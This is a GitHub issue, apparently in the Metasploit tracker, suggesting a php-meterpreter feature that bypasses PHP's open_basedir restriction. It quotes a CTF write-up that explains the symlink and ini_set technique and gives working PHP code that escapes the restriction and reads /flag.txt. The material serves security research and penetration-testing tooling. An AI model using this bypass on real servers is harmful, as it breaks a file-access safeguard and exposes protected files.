Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bypass of PHP's open_basedir #19611

Open
jvoisin opened this issue Nov 1, 2024 · 0 comments
Open

Bypass of PHP's open_basedir #19611

jvoisin opened this issue Nov 1, 2024 · 0 comments
Labels
suggestion-module New module suggestions

Comments

@jvoisin
Copy link
Contributor

jvoisin commented Nov 1, 2024

As discussed with @zeroSteiner, having a way to bypass PHP's open_basedir in php-meterpreter would be equally fun and dope. There are several ways to do this, like this one or

Blaklis' latest bypass

This challenge was about bypassing PHP open_basedir when having a restricted arbitrary PHP code execution. Most of commons functions to execute commands were blocked.

The initial solution that was intended used the following facts :

  • open_basedir can be tampered at runtime with ini_set, but is restricted by open_basedir itself (in other words, we should only be able to harden the existing rule)
  • open_basedir on symlink is working
  • call ini_set for open_basedir checks are only done at the time of changing the rule; the file system can change then

That means that we can point open_basedir to a regular file under /tmp/, and then switch it to a symlink pointing to ../../../../[...] - but to create such a symlink, we need to create an arborescence that allows do to so without breaching the rule :

chdir('/tmp');
$x='';
for($i=0;$i<10;$i++){
mkdir('z');
chdir('z');
$x.='../';
}
symlink($x,'x');
symlink($x,'y');
ini_set('open_basedir','x:y:/tmp/x');
rename('x',$x.'/x');
chdir('y');
chdir('x');
ini_set('open_basedir','/:/tmp/z');
echo file_get_contents('/flag.txt');

Congratz to every solvers!
Blaklis

Here is how it could be implemented:

image

I'll likely tackle this at some point.

@jvoisin jvoisin added the suggestion-module New module suggestions label Nov 1, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
suggestion-module New module suggestions
Projects
None yet
Development

No branches or pull requests

1 participant